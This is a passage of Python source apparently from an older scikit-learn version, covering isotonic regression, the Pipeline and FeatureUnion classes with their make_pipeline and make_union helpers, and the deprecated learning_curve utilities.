    increasing : boolean, optional, default: True
        Whether to compute ``y_`` is increasing (if set to True) or decreasing
        (if set to False)

    Returns
    -------
    y_ : list of floating-point values
        Isotonic fit of y.

    References
    ----------
    "Active set algorithms for isotonic regression; A unifying framework"
    by Michael J. Best and Nilotpal Chakravarti, section 3.
    """
    y = np.asarray(y, dtype=np.float64)
    if sample_weight is None:
        sample_weight = np.ones(len(y), dtype=y.dtype)
    else:
        sample_weight = np.asarray(sample_weight, dtype=np.float64)
    if not increasing:
        y = y[::-1]
        sample_weight = sample_weight[::-1]

    solution = np.empty(len(y))
    y_ = _isotonic_regression(y, sample_weight, solution)
    if not increasing:
        y_ = y_[::-1]

    if y_min is not None or y_max is not None:
        # Older versions of np.clip don't accept None as a bound, so use np.inf
        if y_min is None:
            y_min = -np.inf
        if y_max is None:
            y_max = np.inf
        np.clip(y_, y_min, y_max, y_)
    return y_


class IsotonicRegression(BaseEstimator, TransformerMixin, RegressorMixin):
    """Isotonic regression model.

    The isotonic regression optimization problem is defined by::

        min sum w_i (y[i] - y_[i]) ** 2

        subject to y_[i] <= y_[j] whenever X[i] <= X[j]
        and min(y_) = y_min, max(y_) = y_max

    where:
        - ``y[i]`` are inputs (real numbers)
        - ``y_[i]`` are fitted
        - ``X`` specifies the order.
          If ``X`` is non-decreasing then ``y_`` is non-decreasing.
        - ``w[i]`` are optional strictly positive weights (default to 1.0)

    Read more in the :ref:`User Guide <isotonic>`.

    Parameters
    ----------
    y_min : optional, default: None
        If not None, set the lowest value of the fit to y_min.

    y_max : optional, default: None
        If not None, set the highest value of the fit to y_max.

    increasing : boolean or string, optional, default: True
        If boolean, whether or not to fit the isotonic regression with y
        increasing or decreasing.

        The string value "auto" determines whether y should
        increase or decrease based on the Spearman correlation estimate's
        sign.

    out_of_bounds : string, optional, default: "nan"
        The ``out_of_bounds`` parameter handles how x-values outside of the
        training domain are handled.  When set to "nan", predicted y-values
        will be NaN.  When set to "clip", predicted y-values will be
        set to the value corresponding to the nearest train interval endpoint.
        When set to "raise", allow ``interp1d`` to throw ValueError.


    Attributes
    ----------
    X_min_ : float
        Minimum value of input array `X_` for left bound.

    X_max_ : float
        Maximum value of input array `X_` for right bound.

    f_ : function
        The stepwise interpolating function that covers the domain `X_`.

    Notes
    -----
    Ties are broken using the secondary method from Leeuw, 1977.

    References
    ----------
    Isotonic Median Regression: A Linear Programming Approach
    Nilotpal Chakravarti
    Mathematics of Operations Research
    Vol. 14, No. 2 (May, 1989), pp. 303-308

    Isotone Optimization in R : Pool-Adjacent-Violators
    Algorithm (PAVA) and Active Set Methods
    Leeuw, Hornik, Mair
    Journal of Statistical Software 2009

    Correctness of Kruskal's algorithms for monotone regression with ties
    Leeuw, Psychometrica, 1977
    """
    def __init__(self, y_min=None, y_max=None, increasing=True,
                 out_of_bounds='nan'):
        self.y_min = y_min
        self.y_max = y_max
        self.increasing = increasing
        self.out_of_bounds = out_of_bounds

    @property
    @deprecated("Attribute ``X_`` is deprecated in version 0.18 and will be"
                " removed in version 0.20.")
    def X_(self):
        return self._X_

    @X_.setter
    def X_(self, value):
        self._X_ = value

    @X_.deleter
    def X_(self):
        del self._X_

    @property
    @deprecated("Attribute ``y_`` is deprecated in version 0.18 and will"
                " be removed in version 0.20.")
    def y_(self):
        return self._y_

    @y_.setter
    def y_(self, value):
        self._y_ = value

    @y_.deleter
    def y_(self):
        del self._y_

    def _check_fit_data(self, X, y, sample_weight=None):
        if len(X.shape) != 1:
            raise ValueError("X should be a 1d array")

    def _build_f(self, X, y):
        """Build the f_ interp1d function."""

        # Handle the out_of_bounds argument by setting bounds_error
        if self.out_of_bounds not in ["raise", "nan", "clip"]:
            raise ValueError("The argument ``out_of_bounds`` must be in "
                             "'nan', 'clip', 'raise'; got {0}"
                             .format(self.out_of_bounds))

        bounds_error = self.out_of_bounds == "raise"
        if len(y) == 1:
            # single y, constant prediction
            self.f_ = lambda x: y.repeat(x.shape)
        else:
            self.f_ = interpolate.interp1d(X, y, kind='linear',
                                           bounds_error=bounds_error)

    def _build_y(self, X, y, sample_weight, trim_duplicates=True):
        """Build the y_ IsotonicRegression."""
        check_consistent_length(X, y, sample_weight)
        X, y = [check_array(x, ensure_2d=False) for x in [X, y]]

        y = as_float_array(y)
        self._check_fit_data(X, y, sample_weight)

        # Determine increasing if auto-determination requested
        if self.increasing == 'auto':
            self.increasing_ = check_increasing(X, y)
        else:
            self.increasing_ = self.increasing

        # If sample_weights is passed, removed zero-weight values and clean
        # order
        if sample_weight is not None:
            sample_weight = check_array(sample_weight, ensure_2d=False)
            mask = sample_weight > 0
            X, y, sample_weight = X[mask], y[mask], sample_weight[mask]
        else:
            sample_weight = np.ones(len(y))

        order = np.lexsort((y, X))
        X, y, sample_weight = [astype(array[order], np.float64, copy=False)
                               for array in [X, y, sample_weight]]
        unique_X, unique_y, unique_sample_weight = _make_unique(
            X, y, sample_weight)

        # Store _X_ and _y_ to maintain backward compat during the deprecation
        # period of X_ and y_
        self._X_ = X = unique_X
        self._y_ = y = isotonic_regression(unique_y, unique_sample_weight,
                                           self.y_min, self.y_max,
                                           increasing=self.increasing_)

        # Handle the left and right bounds on X
        self.X_min_, self.X_max_ = np.min(X), np.max(X)

        if trim_duplicates:
            # Remove unnecessary points for faster prediction
            keep_data = np.ones((len(y),), dtype=bool)
            # Aside from the 1st and last point, remove points whose y values
            # are equal to both the point before and the point after it.
            keep_data[1:-1] = np.logical_or(
                np.not_equal(y[1:-1], y[:-2]),
                np.not_equal(y[1:-1], y[2:])
            )
            return X[keep_data], y[keep_data]
        else:
            # The ability to turn off trim_duplicates is only used to it make
            # easier to unit test that removing duplicates in y does not have
            # any impact the resulting interpolation function (besides
            # prediction speed).
            return X, y

    def fit(self, X, y, sample_weight=None):
        """Fit the model using X, y as training data.

        Parameters
        ----------
        X : array-like, shape=(n_samples,)
            Training data.

        y : array-like, shape=(n_samples,)
            Training target.

        sample_weight : array-like, shape=(n_samples,), optional, default: None
            Weights. If set to None, all weights will be set to 1 (equal
            weights).

        Returns
        -------
        self : object
            Returns an instance of self.

        Notes
        -----
        X is stored for future use, as `transform` needs X to interpolate
        new input data.
        """
        # Transform y by running the isotonic regression algorithm and
        # transform X accordingly.
        X, y = self._build_y(X, y, sample_weight)

        # It is necessary to store the non-redundant part of the training set
        # on the model to make it possible to support model persistence via
        # the pickle module as the object built by scipy.interp1d is not
        # picklable directly.
        self._necessary_X_, self._necessary_y_ = X, y

        # Build the interpolation function
        self._build_f(X, y)
        return self

    def transform(self, T):
        """Transform new data by linear interpolation

        Parameters
        ----------
        T : array-like, shape=(n_samples,)
            Data to transform.

        Returns
        -------
        T_ : array, shape=(n_samples,)
            The transformed data
        """
        T = as_float_array(T)
        if len(T.shape) != 1:
            raise ValueError("Isotonic regression input should be a 1d array")

        # Handle the out_of_bounds argument by clipping if needed
        if self.out_of_bounds not in ["raise", "nan", "clip"]:
            raise ValueError("The argument ``out_of_bounds`` must be in "
                             "'nan', 'clip', 'raise'; got {0}"
                             .format(self.out_of_bounds))

        if self.out_of_bounds == "clip":
            T = np.clip(T, self.X_min_, self.X_max_)
        return self.f_(T)

    def predict(self, T):
        """Predict new data by linear interpolation.

        Parameters
        ----------
        T : array-like, shape=(n_samples,)
            Data to transform.

        Returns
        -------
        T_ : array, shape=(n_samples,)
            Transformed data.
        """
        return self.transform(T)

    def __getstate__(self):
        """Pickle-protocol - return state of the estimator. """
        # copy __dict__
        state = dict(self.__dict__)
        # remove interpolation method
        state.pop('f_', None)
        return state

    def __setstate__(self, state):
        """Pickle-protocol - set state of the estimator.

        We need to rebuild the interpolation function.
        """
        self.__dict__.update(state)
        if hasattr(self, '_necessary_X_') and hasattr(self, '_necessary_y_'):
            self._build_f(self._necessary_X_, self._necessary_y_)






"""
The :mod:`sklearn.pipeline` module implements utilities to build a composite
estimator, as a chain of transforms and estimators.
"""
# Author: Edouard Duchesnay
#         Gael Varoquaux
#         Virgile Fritsch
#         Alexandre Gramfort
#         Lars Buitinck
# License: BSD

from collections import defaultdict
from warnings import warn

import numpy as np
from scipy import sparse

from .base import BaseEstimator, TransformerMixin
from .externals.joblib import Parallel, delayed
from .externals import six
from .utils import tosequence
from .utils.metaestimators import if_delegate_has_method
from .externals.six import iteritems

__all__ = ['Pipeline', 'FeatureUnion']


class Pipeline(BaseEstimator):
    """Pipeline of transforms with a final estimator.

    Sequentially apply a list of transforms and a final estimator.
    Intermediate steps of the pipeline must be 'transforms', that is, they
    must implement fit and transform methods.
    The final estimator only needs to implement fit.

    The purpose of the pipeline is to assemble several steps that can be
    cross-validated together while setting different parameters.
    For this, it enables setting parameters of the various steps using their
    names and the parameter name separated by a '__', as in the example below.

    Read more in the :ref:`User Guide <pipeline>`.

    Parameters
    ----------
    steps : list
        List of (name, transform) tuples (implementing fit/transform) that are
        chained, in the order in which they are chained, with the last object
        an estimator.

    Attributes
    ----------
    named_steps : dict
        Read-only attribute to access any step parameter by user given name.
        Keys are step names and values are steps parameters.

    Examples
    --------
    >>> from sklearn import svm
    >>> from sklearn.datasets import samples_generator
    >>> from sklearn.feature_selection import SelectKBest
    >>> from sklearn.feature_selection import f_regression
    >>> from sklearn.pipeline import Pipeline
    >>> # generate some data to play with
    >>> X, y = samples_generator.make_classification(
    ...     n_informative=5, n_redundant=0, random_state=42)
    >>> # ANOVA SVM-C
    >>> anova_filter = SelectKBest(f_regression, k=5)
    >>> clf = svm.SVC(kernel='linear')
    >>> anova_svm = Pipeline([('anova', anova_filter), ('svc', clf)])
    >>> # You can set the parameters using the names issued
    >>> # For instance, fit using a k of 10 in the SelectKBest
    >>> # and a parameter 'C' of the svm
    >>> anova_svm.set_params(anova__k=10, svc__C=.1).fit(X, y)
    ...                                              # doctest: +ELLIPSIS
    Pipeline(steps=[...])
    >>> prediction = anova_svm.predict(X)
    >>> anova_svm.score(X, y)                        # doctest: +ELLIPSIS
    0.77...
    >>> # getting the selected features chosen by anova_filter
    >>> anova_svm.named_steps['anova'].get_support()
    ... # doctest: +NORMALIZE_WHITESPACE
    array([ True,  True,  True, False, False,  True, False,  True,  True, True,
           False, False,  True, False,  True, False, False, False, False,
           True], dtype=bool)
    """

    # BaseEstimator interface

    def __init__(self, steps):
        names, estimators = zip(*steps)
        if len(dict(steps)) != len(steps):
            raise ValueError("Provided step names are not unique: %s"
                             % (names,))

        # shallow copy of steps
        self.steps = tosequence(steps)
        transforms = estimators[:-1]
        estimator = estimators[-1]

        for t in transforms:
            if (not (hasattr(t, "fit") or hasattr(t, "fit_transform")) or not
                    hasattr(t, "transform")):
                raise TypeError("All intermediate steps of the chain should "
                                "be transforms and implement fit and transform"
                                " '%s' (type %s) doesn't)" % (t, type(t)))

        if not hasattr(estimator, "fit"):
            raise TypeError("Last step of chain should implement fit "
                            "'%s' (type %s) doesn't)"
                            % (estimator, type(estimator)))

    @property
    def _estimator_type(self):
        return self.steps[-1][1]._estimator_type

    def get_params(self, deep=True):
        if not deep:
            return super(Pipeline, self).get_params(deep=False)
        else:
            out = self.named_steps
            for name, step in six.iteritems(self.named_steps):
                for key, value in six.iteritems(step.get_params(deep=True)):
                    out['%s__%s' % (name, key)] = value

            out.update(super(Pipeline, self).get_params(deep=False))
            return out

    @property
    def named_steps(self):
        return dict(self.steps)

    @property
    def _final_estimator(self):
        return self.steps[-1][1]

    # Estimator interface

    def _pre_transform(self, X, y=None, **fit_params):
        fit_params_steps = dict((step, {}) for step, _ in self.steps)
        for pname, pval in six.iteritems(fit_params):
            step, param = pname.split('__', 1)
            fit_params_steps[step][param] = pval
        Xt = X
        for name, transform in self.steps[:-1]:
            if hasattr(transform, "fit_transform"):
                Xt = transform.fit_transform(Xt, y, **fit_params_steps[name])
            else:
                Xt = transform.fit(Xt, y, **fit_params_steps[name]) \
                              .transform(Xt)
        return Xt, fit_params_steps[self.steps[-1][0]]

    def fit(self, X, y=None, **fit_params):
        """Fit all the transforms one after the other and transform the
        data, then fit the transformed data using the final estimator.

        Parameters
        ----------
        X : iterable
            Training data. Must fulfill input requirements of first step of the
            pipeline.
        y : iterable, default=None
            Training targets. Must fulfill label requirements for all steps of
            the pipeline.
        """
        Xt, fit_params = self._pre_transform(X, y, **fit_params)
        self.steps[-1][-1].fit(Xt, y, **fit_params)
        return self

    def fit_transform(self, X, y=None, **fit_params):
        """Fit all the transforms one after the other and transform the
        data, then use fit_transform on transformed data using the final
        estimator.

        Parameters
        ----------
        X : iterable
            Training data. Must fulfill input requirements of first step of the
            pipeline.

        y : iterable, default=None
            Training targets. Must fulfill label requirements for all steps of
            the pipeline.
        """
        Xt, fit_params = self._pre_transform(X, y, **fit_params)
        if hasattr(self.steps[-1][-1], 'fit_transform'):
            return self.steps[-1][-1].fit_transform(Xt, y, **fit_params)
        else:
            return self.steps[-1][-1].fit(Xt, y, **fit_params).transform(Xt)

    @if_delegate_has_method(delegate='_final_estimator')
    def predict(self, X):
        """Applies transforms to the data, and the predict method of the
        final estimator. Valid only if the final estimator implements
        predict.

        Parameters
        ----------
        X : iterable
            Data to predict on. Must fulfill input requirements of first step
            of the pipeline.
        """
        Xt = X
        for name, transform in self.steps[:-1]:
            Xt = transform.transform(Xt)
        return self.steps[-1][-1].predict(Xt)

    @if_delegate_has_method(delegate='_final_estimator')
    def fit_predict(self, X, y=None, **fit_params):
        """Applies fit_predict of last step in pipeline after transforms.

        Applies fit_transforms of a pipeline to the data, followed by the
        fit_predict method of the final estimator in the pipeline. Valid
        only if the final estimator implements fit_predict.

        Parameters
        ----------
        X : iterable
            Training data. Must fulfill input requirements of first step of
            the pipeline.
        y : iterable, default=None
            Training targets. Must fulfill label requirements for all steps
            of the pipeline.
        """
        Xt, fit_params = self._pre_transform(X, y, **fit_params)
        return self.steps[-1][-1].fit_predict(Xt, y, **fit_params)

    @if_delegate_has_method(delegate='_final_estimator')
    def predict_proba(self, X):
        """Applies transforms to the data, and the predict_proba method of the
        final estimator. Valid only if the final estimator implements
        predict_proba.

        Parameters
        ----------
        X : iterable
            Data to predict on. Must fulfill input requirements of first step
            of the pipeline.
        """
        Xt = X
        for name, transform in self.steps[:-1]:
            Xt = transform.transform(Xt)
        return self.steps[-1][-1].predict_proba(Xt)

    @if_delegate_has_method(delegate='_final_estimator')
    def decision_function(self, X):
        """Applies transforms to the data, and the decision_function method of
        the final estimator. Valid only if the final estimator implements
        decision_function.

        Parameters
        ----------
        X : iterable
            Data to predict on. Must fulfill input requirements of first step
            of the pipeline.
        """
        Xt = X
        for name, transform in self.steps[:-1]:
            Xt = transform.transform(Xt)
        return self.steps[-1][-1].decision_function(Xt)

    @if_delegate_has_method(delegate='_final_estimator')
    def predict_log_proba(self, X):
        """Applies transforms to the data, and the predict_log_proba method of
        the final estimator. Valid only if the final estimator implements
        predict_log_proba.

        Parameters
        ----------
        X : iterable
            Data to predict on. Must fulfill input requirements of first step
            of the pipeline.
        """
        Xt = X
        for name, transform in self.steps[:-1]:
            Xt = transform.transform(Xt)
        return self.steps[-1][-1].predict_log_proba(Xt)

    @if_delegate_has_method(delegate='_final_estimator')
    def transform(self, X):
        """Applies transforms to the data, and the transform method of the
        final estimator. Valid only if the final estimator implements
        transform.

        Parameters
        ----------
        X : iterable
            Data to predict on. Must fulfill input requirements of first step
            of the pipeline.
        """
        Xt = X
        for name, transform in self.steps:
            Xt = transform.transform(Xt)
        return Xt

    @if_delegate_has_method(delegate='_final_estimator')
    def inverse_transform(self, X):
        """Applies inverse transform to the data.
        Starts with the last step of the pipeline and applies
        ``inverse_transform`` in inverse order of the pipeline steps.
        Valid only if all steps of the pipeline implement inverse_transform.

        Parameters
        ----------
        X : iterable
            Data to inverse transform. Must fulfill output requirements of the
            last step of the pipeline.
        """
        if X.ndim == 1:
            warn("From version 0.19, a 1d X will not be reshaped in"
                 " pipeline.inverse_transform any more.", FutureWarning)
            X = X[None, :]
        Xt = X
        for name, step in self.steps[::-1]:
            Xt = step.inverse_transform(Xt)
        return Xt

    @if_delegate_has_method(delegate='_final_estimator')
    def score(self, X, y=None):
        """Applies transforms to the data, and the score method of the
        final estimator. Valid only if the final estimator implements
        score.

        Parameters
        ----------
        X : iterable
            Data to score. Must fulfill input requirements of first step of the
            pipeline.

        y : iterable, default=None
            Targets used for scoring. Must fulfill label requirements for all
            steps of the pipeline.
        """
        Xt = X
        for name, transform in self.steps[:-1]:
            Xt = transform.transform(Xt)
        return self.steps[-1][-1].score(Xt, y)

    @property
    def classes_(self):
        return self.steps[-1][-1].classes_

    @property
    def _pairwise(self):
        # check if first estimator expects pairwise input
        return getattr(self.steps[0][1], '_pairwise', False)


def _name_estimators(estimators):
    """Generate names for estimators."""

    names = [type(estimator).__name__.lower() for estimator in estimators]
    namecount = defaultdict(int)
    for est, name in zip(estimators, names):
        namecount[name] += 1

    for k, v in list(six.iteritems(namecount)):
        if v == 1:
            del namecount[k]

    for i in reversed(range(len(estimators))):
        name = names[i]
        if name in namecount:
            names[i] += "-%d" % namecount[name]
            namecount[name] -= 1

    return list(zip(names, estimators))


def make_pipeline(*steps):
    """Construct a Pipeline from the given estimators.

    This is a shorthand for the Pipeline constructor; it does not require, and
    does not permit, naming the estimators. Instead, their names will be set
    to the lowercase of their types automatically.

    Examples
    --------
    >>> from sklearn.naive_bayes import GaussianNB
    >>> from sklearn.preprocessing import StandardScaler
    >>> make_pipeline(StandardScaler(), GaussianNB(priors=None))    # doctest: +NORMALIZE_WHITESPACE
    Pipeline(steps=[('standardscaler',
                     StandardScaler(copy=True, with_mean=True, with_std=True)),
                    ('gaussiannb', GaussianNB(priors=None))])

    Returns
    -------
    p : Pipeline
    """
    return Pipeline(_name_estimators(steps))


def _fit_one_transformer(transformer, X, y):
    return transformer.fit(X, y)


def _transform_one(transformer, name, X, transformer_weights):
    if transformer_weights is not None and name in transformer_weights:
        # if we have a weight for this transformer, multiply output
        return transformer.transform(X) * transformer_weights[name]
    return transformer.transform(X)


def _fit_transform_one(transformer, name, X, y, transformer_weights,
                       **fit_params):
    if transformer_weights is not None and name in transformer_weights:
        # if we have a weight for this transformer, multiply output
        if hasattr(transformer, 'fit_transform'):
            X_transformed = transformer.fit_transform(X, y, **fit_params)
            return X_transformed * transformer_weights[name], transformer
        else:
            X_transformed = transformer.fit(X, y, **fit_params).transform(X)
            return X_transformed * transformer_weights[name], transformer
    if hasattr(transformer, 'fit_transform'):
        X_transformed = transformer.fit_transform(X, y, **fit_params)
        return X_transformed, transformer
    else:
        X_transformed = transformer.fit(X, y, **fit_params).transform(X)
        return X_transformed, transformer


class FeatureUnion(BaseEstimator, TransformerMixin):
    """Concatenates results of multiple transformer objects.

    This estimator applies a list of transformer objects in parallel to the
    input data, then concatenates the results. This is useful to combine
    several feature extraction mechanisms into a single transformer.

    Read more in the :ref:`User Guide <feature_union>`.

    Parameters
    ----------
    transformer_list: list of (string, transformer) tuples
        List of transformer objects to be applied to the data. The first
        half of each tuple is the name of the transformer.

    n_jobs: int, optional
        Number of jobs to run in parallel (default 1).

    transformer_weights: dict, optional
        Multiplicative weights for features per transformer.
        Keys are transformer names, values the weights.

    """
    def __init__(self, transformer_list, n_jobs=1, transformer_weights=None):
        self.transformer_list = transformer_list
        self.n_jobs = n_jobs
        self.transformer_weights = transformer_weights

    def get_feature_names(self):
        """Get feature names from all transformers.

        Returns
        -------
        feature_names : list of strings
            Names of the features produced by transform.
        """
        feature_names = []
        for name, trans in self.transformer_list:
            if not hasattr(trans, 'get_feature_names'):
                raise AttributeError("Transformer %s does not provide"
                                     " get_feature_names." % str(name))
            feature_names.extend([name + "__" + f for f in
                                  trans.get_feature_names()])
        return feature_names

    def fit(self, X, y=None):
        """Fit all transformers using X.

        Parameters
        ----------
        X : array-like or sparse matrix, shape (n_samples, n_features)
            Input data, used to fit transformers.
        """
        transformers = Parallel(n_jobs=self.n_jobs)(
            delayed(_fit_one_transformer)(trans, X, y)
            for name, trans in self.transformer_list)
        self._update_transformer_list(transformers)
        return self

    def fit_transform(self, X, y=None, **fit_params):
        """Fit all transformers using X, transform the data and concatenate
        results.

        Parameters
        ----------
        X : array-like or sparse matrix, shape (n_samples, n_features)
            Input data to be transformed.

        Returns
        -------
        X_t : array-like or sparse matrix, shape (n_samples, sum_n_components)
            hstack of results of transformers. sum_n_components is the
            sum of n_components (output dimension) over transformers.
        """
        result = Parallel(n_jobs=self.n_jobs)(
            delayed(_fit_transform_one)(trans, name, X, y,
                                        self.transformer_weights, **fit_params)
            for name, trans in self.transformer_list)

        Xs, transformers = zip(*result)
        self._update_transformer_list(transformers)
        if any(sparse.issparse(f) for f in Xs):
            Xs = sparse.hstack(Xs).tocsr()
        else:
            Xs = np.hstack(Xs)
        return Xs

    def transform(self, X):
        """Transform X separately by each transformer, concatenate results.

        Parameters
        ----------
        X : array-like or sparse matrix, shape (n_samples, n_features)
            Input data to be transformed.

        Returns
        -------
        X_t : array-like or sparse matrix, shape (n_samples, sum_n_components)
            hstack of results of transformers. sum_n_components is the
            sum of n_components (output dimension) over transformers.
        """
        Xs = Parallel(n_jobs=self.n_jobs)(
            delayed(_transform_one)(trans, name, X, self.transformer_weights)
            for name, trans in self.transformer_list)
        if any(sparse.issparse(f) for f in Xs):
            Xs = sparse.hstack(Xs).tocsr()
        else:
            Xs = np.hstack(Xs)
        return Xs

    def get_params(self, deep=True):
        if not deep:
            return super(FeatureUnion, self).get_params(deep=False)
        else:
            out = dict(self.transformer_list)
            for name, trans in self.transformer_list:
                for key, value in iteritems(trans.get_params(deep=True)):
                    out['%s__%s' % (name, key)] = value
            out.update(super(FeatureUnion, self).get_params(deep=False))
            return out

    def _update_transformer_list(self, transformers):
        self.transformer_list[:] = [
            (name, new)
            for ((name, old), new) in zip(self.transformer_list, transformers)
        ]


# XXX it would be nice to have a keyword-only n_jobs argument to this function,
# but that's not allowed in Python 2.x.
def make_union(*transformers):
    """Construct a FeatureUnion from the given transformers.

    This is a shorthand for the FeatureUnion constructor; it does not require,
    and does not permit, naming the transformers. Instead, they will be given
    names automatically based on their types. It also does not allow weighting.

    Examples
    --------
    >>> from sklearn.decomposition import PCA, TruncatedSVD
    >>> make_union(PCA(), TruncatedSVD())    # doctest: +NORMALIZE_WHITESPACE
    FeatureUnion(n_jobs=1,
           transformer_list=[('pca',
                              PCA(copy=True, iterated_power=4,
                                  n_components=None, random_state=None,
                                  svd_solver='auto', tol=0.0, whiten=False)),
                             ('truncatedsvd',
                              TruncatedSVD(algorithm='randomized',
                              n_components=2, n_iter=5,
                              random_state=None, tol=0.0))],
           transformer_weights=None)


    Returns
    -------
    f : FeatureUnion
    """
    return FeatureUnion(_name_estimators(transformers))






"""Utilities to evaluate models with respect to a variable
"""
# Author: Alexander Fabisch <afabisch@informatik.uni-bremen.de>
#
# License: BSD 3 clause

import warnings

import numpy as np

from .base import is_classifier, clone
from .cross_validation import check_cv
from .externals.joblib import Parallel, delayed
from .cross_validation import _safe_split, _score, _fit_and_score
from .metrics.scorer import check_scoring
from .utils import indexable
from .utils.fixes import astype


warnings.warn("This module was deprecated in version 0.18 in favor of the "
              "model_selection module into which all the functions are moved."
              " This module will be removed in 0.20",
              DeprecationWarning)


__all__ = ['learning_curve', 'validation_curve']


def learning_curve(estimator, X, y, train_sizes=np.linspace(0.1, 1.0, 5),
                   cv=None, scoring=None, exploit_incremental_learning=False,
                   n_jobs=1, pre_dispatch="all", verbose=0):
    """Learning curve.

    Determines cross-validated training and test scores for different training
    set sizes.

    A cross-validation generator splits the whole dataset k times in training
    and test data. Subsets of the training set with varying sizes will be used
    to train the estimator and a score for each training subset size and the
    test set will be computed. Afterwards, the scores will be averaged over
    all k runs for each training subset size.

    Read more in the :ref:`User Guide <learning_curves>`.

    Parameters
    ----------
    estimator : object type that implements the "fit" and "predict" methods
        An object of that type which is cloned for each validation.

    X : array-like, shape (n_samples, n_features)
        Training vector, where n_samples is the number of samples and
        n_features is the number of features.

    y : array-like, shape (n_samples) or (n_samples, n_features), optional
        Target relative to X for classification or regression;
        None for unsupervised learning.

    train_sizes : array-like, shape (n_ticks,), dtype float or int
        Relative or absolute numbers of training examples that will be used to
        generate the learning curve. If the dtype is float, it is regarded as a
        fraction of the maximum size of the training set (that is determined
        by the selected validation method), i.e. it has to be within (0, 1].
        Otherwise it is interpreted as absolute sizes of the training sets.
        Note that for classification the number of samples usually have to
        be big enough to contain at least one sample from each class.
        (default: np.linspace(0.1, 1.0, 5))

    cv : int, cross-validation generator or an iterable, optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:

        - None, to use the default 3-fold cross-validation,
        - integer, to specify the number of folds.
        - An object to be used as a cross-validation generator.
        - An iterable yielding train/test splits.

        For integer/None inputs, if the estimator is a classifier and ``y`` is
        either binary or multiclass, 
        :class:`sklearn.model_selection.StratifiedKFold` is used. In all
        other cases, :class:`sklearn.model_selection.KFold` is used.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validation strategies that can be used here.

    scoring : string, callable or None, optional, default: None
        A string (see model evaluation documentation) or
        a scorer callable object / function with signature
        ``scorer(estimator, X, y)``.

    exploit_incremental_learning : boolean, optional, default: False
        If the estimator supports incremental learning, this will be
        used to speed up fitting for different training set sizes.

    n_jobs : integer, optional
        Number of jobs to run in parallel (default 1).

    pre_dispatch : integer or string, optional
        Number of predispatched jobs for parallel execution (default is
        all). The option can reduce the allocated memory. The string can
        be an expression like '2*n_jobs'.

    verbose : integer, optional
        Controls the verbosity: the higher, the more messages.

    Returns
    -------
    train_sizes_abs : array, shape = (n_unique_ticks,), dtype int
        Numbers of training examples that has been used to generate the
        learning curve. Note that the number of ticks might be less
        than n_ticks because duplicate entries will be removed.

    train_scores : array, shape (n_ticks, n_cv_folds)
        Scores on training sets.

    test_scores : array, shape (n_ticks, n_cv_folds)
        Scores on test set.

    Notes
    -----
    See :ref:`examples/model_selection/plot_learning_curve.py
    <sphx_glr_auto_examples_model_selection_plot_learning_curve.py>`
    """
    if exploit_incremental_learning and not hasattr(estimator, "partial_fit"):
        raise ValueError("An estimator must support the partial_fit interface "
                         "to exploit incremental learning")

    X, y = indexable(X, y)
    # Make a list since we will be iterating multiple times over the folds
    cv = list(check_cv(cv, X, y, classifier=is_classifier(estimator)))
    scorer = check_scoring(estimator, scoring=scoring)

    # HACK as long as boolean indices are allowed in cv generators
    if cv[0][0].dtype == bool:
        new_cv = []
        for i in range(len(cv)):
            new_cv.append((np.nonzero(cv[i][0])[0], np.nonzero(cv[i][1])[0]))
        cv = new_cv

    n_max_training_samples = len(cv[0][0])
    # Because the lengths of folds can be significantly different, it is
    # not guaranteed that we use all of the available training data when we
    # use the first 'n_max_training_samples' samples.
    train_sizes_abs = _translate_train_sizes(train_sizes,
                                             n_max_training_samples)
    n_unique_ticks = train_sizes_abs.shape[0]
    if verbose > 0:
        print("[learning_curve] Training set sizes: " + str(train_sizes_abs))

    parallel = Parallel(n_jobs=n_jobs, pre_dispatch=pre_dispatch,
                        verbose=verbose)
    if exploit_incremental_learning:
        classes = np.unique(y) if is_classifier(estimator) else None
        out = parallel(delayed(_incremental_fit_estimator)(
            clone(estimator), X, y, classes, train, test, train_sizes_abs,
            scorer, verbose) for train, test in cv)
    else:
        out = parallel(delayed(_fit_and_score)(
            clone(estimator), X, y, scorer, train[:n_train_samples], test,
            verbose, parameters=None, fit_params=None, return_train_score=True)
            for train, test in cv for n_train_samples in train_sizes_abs)
        out = np.array(out)[:, :2]
        n_cv_folds = out.shape[0] // n_unique_ticks
        out = out.reshape(n_cv_folds, n_unique_ticks, 2)

    out = np.asarray(out).transpose((2, 1, 0))

    return train_sizes_abs, out[0], out[1]


def _translate_train_sizes(train_sizes, n_max_training_samples):
    """Determine absolute sizes of training subsets and validate 'train_sizes'.

    Examples:
        _translate_train_sizes([0.5, 1.0], 10) -> [5, 10]
        _translate_train_sizes([5, 10], 10) -> [5, 10]

    Parameters
    ----------
    train_sizes : array-like, shape (n_ticks,), dtype float or int
        Numbers of training examples that will be used to generate the
        learning curve. If the dtype is float, it is regarded as a
        fraction of 'n_max_training_samples', i.e. it has to be within (0, 1].

    n_max_training_samples : int
        Maximum number of training samples (upper bound of 'train_sizes').

    Returns
    -------
    train_sizes_abs : array, shape (n_unique_ticks,), dtype int
        Numbers of training examples that will be used to generate the
        learning curve. Note that the number of ticks might be less
        than n_ticks because duplicate entries will be removed.
    """
    train_sizes_abs = np.asarray(train_sizes)
    n_ticks = train_sizes_abs.shape[0]
    n_min_required_samples = np.min(train_sizes_abs)
    n_max_required_samples = np.max(train_sizes_abs)
    if np.issubdtype(train_sizes_abs.dtype, np.float):
        if n_min_required_samples <= 0.0 or n_max_required_samples > 1.0:
            raise ValueError("train_sizes has been interpreted as fractions "
                             "of the maximum number of training samples and "
                             "must be within (0, 1], but is within [%f, %f]."
                             % (n_min_required_samples,
                                n_max_required_samples))
        train_sizes_abs = astype(train_sizes_abs * n_max_training_samples,
                                 dtype=np.int, copy=False)
        train_sizes_abs = np.clip(train_sizes_abs, 1,
                                  n_max_training_samples)
    else:
        if (n_min_required_samples <= 0 or
                n_max_required_samples > n_max_training_samples):
            raise ValueError("train_sizes has been interpreted as absolute "
                             "numbers of training samples and must be within "
                             "(0, %d], but is within [%d, %d]."
                             % (n_max_training_samples,
                                n_min_required_samples,
                                n_max_required_samples))

    train_sizes_abs = np.unique(train_sizes_abs)
    if n_ticks > train_sizes_abs.shape[0]:
        warnings.warn("Removed duplicate entries from 'train_sizes'. Number "
                      "of ticks will be less than the size of "
                      "'train_sizes' %d instead of %d)."
                      % (train_sizes_abs.shape[0], n_ticks), RuntimeWarning)

    return train_sizes_abs


def _incremental_fit_estimator(estimator, X, y, classes, train, test,
                               train_sizes, scorer, verbose):
    """Train estimator on training subsets incrementally and compute scores."""
